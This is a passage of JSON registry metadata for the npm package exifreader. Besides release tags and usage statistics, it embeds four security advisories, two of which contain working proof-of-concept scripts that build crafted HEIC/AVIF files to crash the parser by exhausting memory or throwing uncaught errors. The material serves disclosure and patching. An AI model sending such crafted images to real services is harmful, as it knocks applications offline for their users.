ub.com/mattiasw/ExifReader/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"a316b409623ae7d7d8f7ae4844cd57a2446288ca","kind":"commit","published_at":"2018-02-10T13:50:52.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.3.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"506cab0918bb8cb61b64435ad0abb09d5a487e43","kind":"commit","published_at":"2018-01-04T13:13:55.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.2.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.2.0/manifests"},{"name":"2.1.2","sha":"12677928d30edcd395533e1097bfb22bdc7e183f","kind":"commit","published_at":"2017-10-31T17:43:03.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.1.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.1.2/manifests"},{"name":"2.1.1","sha":"6f284ab45b08dd2a6a7d59efef63baea5b92de4e","kind":"commit","published_at":"2017-05-09T06:38:18.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.1.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.1.1/manifests"},{"name":"2.1.0","sha":"bb4f8d4360109fc936442e4426b7047434a0b486","kind":"commit","published_at":"2017-02-26T21:37:05.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.1.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.1.0/manifests"},{"name":"2.0.2","sha":"064bbfbf830204a2c839f3e7bc68bcd235db6514","kind":"commit","published_at":"2016-12-28T17:10:37.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.0.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.0.2/manifests"},{"name":"2.0.1","sha":"75ea01d57fa4c5946ab4dd1083213af4203b8aa1","kind":"commit","published_at":"2016-12-28T13:24:08.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.0.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"75ea01d57fa4c5946ab4dd1083213af4203b8aa1","kind":"commit","published_at":"2016-12-28T13:24:08.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/2.0.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/2.0.0/manifests"},{"name":"v1.1.1","sha":"84ddc9f7cf7490b13ffb32e3179be7350c5fc8e7","kind":"commit","published_at":"2014-10-20T20:09:54.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v1.1.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v1.1.1/manifests"}]},"repo_metadata_updated_at":"2026-10-06T17:56:47.625Z","dependent_packages_count":49,"downloads":1104864,"downloads_period":"last-month","dependent_repos_count":257,"rankings":{"downloads":0.5395753738925746,"dependent_repos_count":1.0251987926464539,"dependent_packages_count":0.6880714828700636,"stargazers_count":3.0226186236833206,"forks_count":3.3294010302538277,"docker_downloads_count":0.7423543393606702,"average":1.5578699404511518},"purl":"pkg:npm/exifreader","advisories":[{"uuid":"GSA_kwCzR0hTQS1wajk2LTM1ZnAtY2ZjY84AB5N_","url":"https://github.com/advisories/GHSA-pj96-35fp-cfcc","title":"ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion","description":"## Summary\nExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount × extentCount` (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.41.0`\n- Affected formats: HEIC, AVIF (ISO-BMFF container)\n\n## Root cause\n\n**File:** `src/image-header-iso-bmff-iloc.js`, lines 79–116, function `getItems()`.\n\nThe iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):\n\n| Field | Controls |\n|-------|----------|\n| `offsetSize` | Bytes per extent offset |\n| `lengthSize` | Bytes per extent length |\n| `baseOffsetSize` | Bytes per item base offset |\n| `indexSize` | Bytes per extent index |\n\nThe code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:\n\n```javascript\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    const extent = {};\n    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);\n    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0\n    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);\n    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0\n    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);\n    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0\n    item.extents.push(extent);                      // allocates unconditionally\n}\n```\nWhen all four size fields are zero (a valid value per the ISO-BMFF specification, meaning \"field not present\"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto `item.extents`. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.\n\n## Reproduction\n\nSave the following as `poc_iloc_dos.js` and run with Node.js against the bundled `dist/exif-reader.js`:\n\n```javascript\nconst fs = require('fs');\nconst ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');\n\nfunction u32be(n) {\n    return [(n \u003e\u003e\u003e 24) \u0026 255, (n \u003e\u003e\u003e 16) \u0026 255, (n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction u16be(n) {\n    return [(n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction str(s) {\n    return Array.from(Buffer.from(s, 'ascii'));\n}\nfunction box(type, content) {\n    return [...u32be(8 + content.length), ...str(type), ...content];\n}\n\nconst ITEMS = 10000;\nconst EXTENTS = 65535;\n\nconst ftyp = box('ftyp', [\n    ...str('heic'),\n    ...u32be(0),\n    ...str('mif1'),\n    0, 0, 0, 0,\n]);\n\nconst ilocPayload = [\n    0, 0, 0, 0,\n    0, 0,\n    ...u16be(ITEMS),\n];\n\nfor (let i = 0; i \u003c ITEMS; i++) {\n    ilocPayload.push(...u16be(i + 1));\n    ilocPayload.push(...u16be(0));\n    ilocPayload.push(...u16be(EXTENTS));\n}\n\nconst iloc = box('iloc', ilocPayload);\nconst meta = box('meta', [0, 0, 0, 0, ...iloc]);\nconst data = Uint8Array.from([...ftyp, ...meta]);\n\nfs.writeFileSync('/tmp/poc_iloc_dos.heic', data);\n\nconsole.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);\n\nconst start = Date.now();\nconst timeout = setTimeout(() =\u003e {\n    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);\n    process.exit(1);\n}, 30000);\n\ntry {\n    ExifReader.load(data.buffer);\n    clearTimeout(timeout);\n    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);\n} catch (e) {\n    clearTimeout(timeout);\n    console.log(`Error: ${e.message}`);\n}\n\n```\n\n### Scaled test results\nRun the above with different ITEMS values:\n\n| Items | File size | Extent objects | Parse time | Heap growth |\n|-------|-----------|---------------|------------|-------------|\n| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |\n| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |\n| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |\n| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |\n| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |\n\u003cimg width=\"1839\" height=\"588\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02\" /\u003e\n\n\n## Expected behavior\n\nA zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:\n1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or\n2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).\n\n## Security impact\n\nThis is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.\n\n**Note:** The impact is established using ExifReader's existing distributed (`dist/exif-reader.js`) code.\n\n## Suggested fix\n\nIn `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit:\n\n```javascript\nconst MAX_EXTENTS_PER_ITEM = 10000;\n\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    if (item.extents.length \u003e= MAX_EXTENTS_PER_ITEM) {\n        break;\n    }\n    // ... existing code ...\n}\n```\n\nAlternatively (or additionally), skip the inner loop when all extent field sizes are zero:\n\n```javascript\nif (sizes.item.extent.extentOffset === 0 \u0026\u0026 sizes.item.extent.extentLength === 0) {\n    // Fields are absent per spec; nothing meaningful to read\n    // Still advance offset if extentCount \u003e 0 to maintain correctness\n    continue;\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-17T16:30:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc","https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699","https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1","https://github.com/advisories/GHSA-pj96-35fp-cfcc"],"source_kind":"github","identifiers":["GHSA-pj96-35fp-cfcc","CVE-2026-85715"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-17T17:00:09.301Z","updated_at":"2026-09-30T15:00:25.064Z","epss_percentage":0.00609,"epss_percentile":0.46862,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wajk2LTM1ZnAtY2ZjY84AB5N_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wajk2LTM1ZnAtY2ZjY84AB5N_","packages":[{"ecosystem":"npm","package_name":"exifreader","versions":[{"first_patched_version":"4.41.1","vulnerable_version_range":"\u003c= 4.41.0"}],"purl":"pkg:npm/exifreader"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wajk2LTM1ZnAtY2ZjY84AB5N_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNzdoLTQ1cmYtaGN4NM4ABbHv","url":"https://github.com/advisories/GHSA-g77h-45rf-hcx4","title":"ExifReader HEIC/AVIF ISO-BMFF parser throws uncaught RangeError on truncated boxes","description":"## Summary\n\nExifReader 4.40.0 can throw an uncaught `RangeError: Offset is outside the bounds of the DataView` while parsing crafted HEIC/AVIF files. The file only needs a valid leading `ftyp` box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte `free` box or a truncated extended-size box.\n\nThis is reachable through the public `ExifReader.load()` API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.\n\nCredit requested: Yaohui Wang.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.40.0`\n- Repository commit tested: `8cb0261a26b7d986955fe0a6780f076dcb7902e7`\n\n## Root cause\n\nThe ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In `src/image-header-iso-bmff.js`:\n\n- `findMetaBox()` calls `parseBox(dataView, offset)` while only checking that `offset + 8 \u003c= dataView.byteLength`.\n- `parseBox()` calls `getBoxLength()` and then unconditionally reads fields such as the full-box version byte for `meta`/`iloc`/`iinf`/`idat` boxes.\n- `getBoxLength()` handles `boxLength === 1` by calling `hasEmptyHighBits(dataView, offset)`, which reads `dataView.getUint32(offset + 8)` without first checking that the 64-bit extended size field is present.\n\nAs a result, syntactically small or truncated boxes after a valid HEIC/AVIF `ftyp` box escape the format-detection catch blocks and throw from the main parsing path.\n\n## Reproduction\n\nRun this from the repository root against the committed `dist/exif-reader.js` bundle:\n\n```js\nconst ExifReader = require('./dist/exif-reader.js');\n\nfunction u32be(n) {\n  return [(n \u003e\u003e\u003e 24) \u0026 255, (n \u003e\u003e\u003e 16) \u0026 255, (n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction ascii(s) {\n  return Array.from(Buffer.from(s, 'ascii'));\n}\nfunction box(type, content = []) {\n  return [...u32be(8 + content.length), ...ascii(type), ...content];\n}\n\nfor (const brand of ['heic', 'avif']) {\n  for (const badBox of ['free', 'abcd']) {\n    const bytes = Uint8Array.from([\n      ...box('ftyp', ascii(brand)),\n      ...box(badBox), // 8-byte box header with no content\n    ]);\n\n    try {\n      ExifReader.load(bytes.buffer);\n      console.log(`${brand}/${badBox}: no throw`);\n    } catch (e) {\n      console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);\n      console.log(String(e.stack).split('\\n').slice(0, 6).join('\\n'));\n    }\n  }\n}\n```\n\nObserved output on Node v23.11.0 with ExifReader 4.40.0:\n\n```text\nheic/free: RangeError: Offset is outside the bounds of the DataView\nRangeError: Offset is outside the bounds of the DataView\n    at DataView.prototype.getUint8 (\u003canonymous\u003e)\n    at parseBox (.../dist/exif-reader.js:1:16513)\n    at findMetaBox (.../dist/exif-reader.js:1:19032)\n    at findOffsets (.../dist/exif-reader.js:1:19101)\n\nheic/abcd: RangeError: Offset is outside the bounds of the DataView\navif/free: RangeError: Offset is outside the bounds of the DataView\navif/abcd: RangeError: Offset is outside the bounds of the DataView\n```\n\nA second variant triggers the extended-size path:\n\n```js\nconst truncatedExtendedBox = [...u32be(1), ...ascii('free')];\nconst heic = Uint8Array.from([...box('ftyp', ascii('heic')), ...truncatedExtendedBox]);\nExifReader.load(heic.buffer);\n```\n\nThat throws from `hasEmptyHighBits()` / `getBoxLength()` because the extended-size high/low fields are not present.\n\n## Expected behavior\n\nMalformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.\n\n## Security impact\n\nThis is a denial-of-service issue for services that parse user-provided HEIC/AVIF files with ExifReader. A minimal attacker-controlled image buffer can cause an unhandled exception in the parser and abort the surrounding request/worker if the embedding application does not catch every parse error.\n\nSuggested severity: Medium. Suggested CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`.\n\n## Suggested fix\n\nAdd explicit bounds checks before every `DataView` read in the ISO-BMFF box parser, especially:\n\n- before reading the 64-bit extended size fields in `getBoxLength()`;\n- before reading the full-box version byte in `parseBox()`;\n- before descending into `parseSubBoxes()` when a declared box length exceeds available bytes;\n- ensure `findMetaBox()` breaks on boxes whose declared length is invalid or not fully present.\n\nA regression test should cover `ftyp/heic` and `ftyp/avif` followed by an 8-byte empty `free`/unknown box and by a truncated extended-size box.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-17T20:19:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/mattiasw/ExifReader/security/advisories/GHSA-g77h-45rf-hcx4","https://github.com/mattiasw/ExifReader/releases/tag/v4.40.1","https://github.com/advisories/GHSA-g77h-45rf-hcx4"],"source_kind":"github","identifiers":["GHSA-g77h-45rf-hcx4","CVE-2026-53496"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-17T21:00:09.004Z","updated_at":"2026-09-30T15:01:45.316Z","epss_percentage":0.00507,"epss_percentile":0.40625,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNzdoLTQ1cmYtaGN4NM4ABbHv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNzdoLTQ1cmYtaGN4NM4ABbHv","packages":[{"ecosystem":"npm","package_name":"exifreader","versions":[{"first_patched_version":"4.40.1","vulnerable_version_range":"\u003c= 4.40.0"}],"purl":"pkg:npm/exifreader"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNzdoLTQ1cmYtaGN4NM4ABbHv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNjR3LXc5cHItODJtNM4ABXu9","url":"https://github.com/advisories/GHSA-h64w-w9pr-82m4","title":"ExifReader is vulnerable to denial of service via crafted ICC `mluc` tag","description":"### Impact\n\nWhen parsing an image with an embedded ICC profile that contains a crafted `multiLocalizedUnicodeType` (`mluc`) tag, ExifReader can be made to allocate memory proportional to attacker-controlled fields in the tag rather than to\nthe actual size of the input. Processing such an image causes excessive memory consumption and can terminate the host process (out-of-memory).\n\nAny application that calls `ExifReader.load()` on untrusted images, for example, user uploads in a web service, is affected. ICC profiles are carried in JPEG, TIFF, PNG, HEIC, AVIF, JPEG XL, and WebP, so the issue is reachable from any of those formats.\n\n### Patches\n\nFixed in `exifreader@4.39.0`. Upgrade with:\n\n    npm install exifreader@latest\n\nBower users consume the bundled `dist/` files from this repository, and the same fix is committed there.\n\n### Workarounds\n\nIf upgrading is not immediately possible, configure a [custom build](https://github.com/mattiasw/ExifReader#configure-a-custom-build) that excludes the `icc` module so that ICC parsing (and therefore this code path) is skipped entirely.\n\n### Resources\n\n- Patch: https://github.com/mattiasw/ExifReader/commit/c9d88b67e127b2dcc7b46e328df468257fb2dc30","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-29T17:58:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/mattiasw/ExifReader/security/advisories/GHSA-h64w-w9pr-82m4","https://nvd.nist.gov/vuln/detail/CVE-2026-8813","https://github.com/mattiasw/ExifReader/commit/c9d88b67e127b2dcc7b46e328df468257fb2dc30","https://security.snyk.io/vuln/SNYK-JS-EXIFREADER-16689335","https://github.com/advisories/GHSA-h64w-w9pr-82m4"],"source_kind":"github","identifiers":["GHSA-h64w-w9pr-82m4","CVE-2026-8813"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T18:00:08.786Z","updated_at":"2026-09-30T15:02:55.261Z","epss_percentage":0.00609,"epss_percentile":0.46838,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNjR3LXc5cHItODJtNM4ABXu9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNjR3LXc5cHItODJtNM4ABXu9","packages":[{"ecosystem":"npm","package_name":"exifreader","versions":[{"first_patched_version":"4.39.0","vulnerable_version_range":"\u003e= 2.10.0, \u003c 4.39.0"}],"purl":"pkg:npm/exifreader"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNjR3LXc5cHItODJtNM4ABXu9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycjg5LXczaDktbTY2as4ABXu8","url":"https://github.com/advisories/GHSA-rr89-w3h9-m66j","title":"ExifReader is vulnerable to denial of service via unbounded decompression of image metadata","description":"### Impact\n\nVersions of ExifReader from 4.20.0 through 4.38.1 do not bound the size of decompressed metadata blocks. When a caller invokes the asynchronous API (e.g. `ExifReader.load(file)` or `ExifReader.load(buffer, {async: true})`) on an attacker-supplied image, a small compressed chunk in the file can expand to hundreds of megabytes of memory, consuming heap and CPU until the process slows down or runs out of memory.\n\nThe affected paths share a single decompression utility, so the issue is reachable through any compressed metadata block the library handles asynchronously, including:\n\n- PNG `zTXt`, compressed `iTXt`, and `iCCP` chunks (deflate)\n- JPEG XL Brotli-compressed Exif and XMP blocks\n\nA typical proof of concept produced roughly 1000× expansion (for example, ~32 KB of compressed input expanded to ~32 MB of output, ~130 KB to ~128 MB).\n\nBoth the npm package and the `dist/` bundle published from this repository (consumed by Bower and other users of the prebuilt artifact) are affected.\n\n### Patches\n\nFixed in **4.39.0**. The decompression utility now reads the decompressed stream incrementally and aborts as soon as the running total would exceed a configurable limit. The default cap is **128 MiB** per metadata block, which is well above any realistic legitimate value. When a block exceeds the cap, that block is skipped (a warning is emitted via `console.warn`) and the remaining tags are returned as usual.\n\nThe cap is configurable via the new `maxDecompressedSize` field on the `decompress` option, in bytes:\n\n```javascript\nconst tags = await ExifReader.load(file, {\n    async: true,\n    decompress: {\n        maxDecompressedSize: 16 * 1024 * 1024 // 16 MiB\n    }\n});\n```\n\nThe same cap applies to results returned by user-supplied custom `brotli`/`deflate` functions.\n\n### Workarounds\n\n- If upgrading is not possible, avoid invoking the asynchronous API on untrusted inputs. The synchronous code path skips compressed metadata blocks entirely and is not affected. Alternatively, pre-validate input files by source or size before passing them to ExifReader.\n\n### Resources\n\n- Patch: https://github.com/mattiasw/ExifReader/commit/5f116128adc19f674902f8bf582bfe7dd0a36375\n- README — \"Limiting decompressed metadata size\": https://github.com/mattiasw/ExifReader/blob/main/README.md#limiting-decompressed-metadata-size","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-29T17:52:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","references":["https://github.com/mattiasw/ExifReader/security/advisories/GHSA-rr89-w3h9-m66j","https://nvd.nist.gov/vuln/detail/CVE-2026-8814","https://github.com/mattiasw/ExifReader/commit/5f116128adc19f674902f8bf582bfe7dd0a36375","https://security.snyk.io/vuln/SNYK-JS-EXIFREADER-16689340","https://github.com/advisories/GHSA-rr89-w3h9-m66j"],"source_kind":"github","identifiers":["GHSA-rr89-w3h9-m66j","CVE-2026-8814"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T18:00:08.786Z","updated_at":"2026-09-30T15:02:55.261Z","epss_percentage":0.00507,"epss_percentile":0.40629,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycjg5LXczaDktbTY2as4ABXu8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycjg5LXczaDktbTY2as4ABXu8","packages":[{"ecosystem":"npm","package_name":"exifreader","versions":[{"first_patched_version":"4.39.0","vulnerable_version_range":"\u003e= 4.20.0, \u003c 4.39.0"}],"purl":"pkg:npm/exifreader"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycjg5LXczaDktbTY2as4ABXu8/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/exifreader","docker_dependents_count":12,"docker_downloads_count":13638,"usage_url":"https://repos.ecosyste.ms/usage/npm/exifreader","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/exifreader/dependencies","status":null,"funding_links":["https://github.com/sponsors/mattiasw","https://www.buymeacoffee.com/mattiasw"],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-05T15:11:23.056Z","issues_count":97,"pull_requests_count":524,"avg_time_to_close_issue":6716470.891566265,"avg_time_to_close_pull_request":233708.25155925157,"issues_closed_count":83,"pull_requests_closed_count":481,"pull_request_authors_count":15,"issue_authors_count":82,"avg_comments_per_issue":3.7938144329896906,"avg_comments_per_pull_request":0.2824427480916031,"merged_pull_requests_count":395,"bot_issues_count":3,"bot_pull_requests_count":400,"past_year_issues_count":0,"past_year_pull_requests_count":18,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":5888.705882352941,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":17,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":0,"past_year_avg_comments_per_issue":null,"past_year_avg_comments_per_pull_request":0.2222222222222222,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":12,"past_year_merged_pull_requests_count":17,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/issues","maintainers":[{"login":"mattiasw","count":106,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mattiasw"}],"active_maintainers":[{"login":"mattiasw","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mattiasw"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/exifreader/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/exifreader/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/exifreader/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/exifreader/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/exifreader/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/exifreader/codemeta","maintainers":[{"uuid":"mattiasw","login":"mattiasw","name":null,"email":"mattias@wallander.eu","url":null,"packages_count":2,"html_url":"https://www.npmjs.com/~mattiasw","role":null,"created_at":"2022-11-07T22:38:46.031Z","updated_at":"2022-11-07T22:38:46.031Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/mattiasw/packages"}]}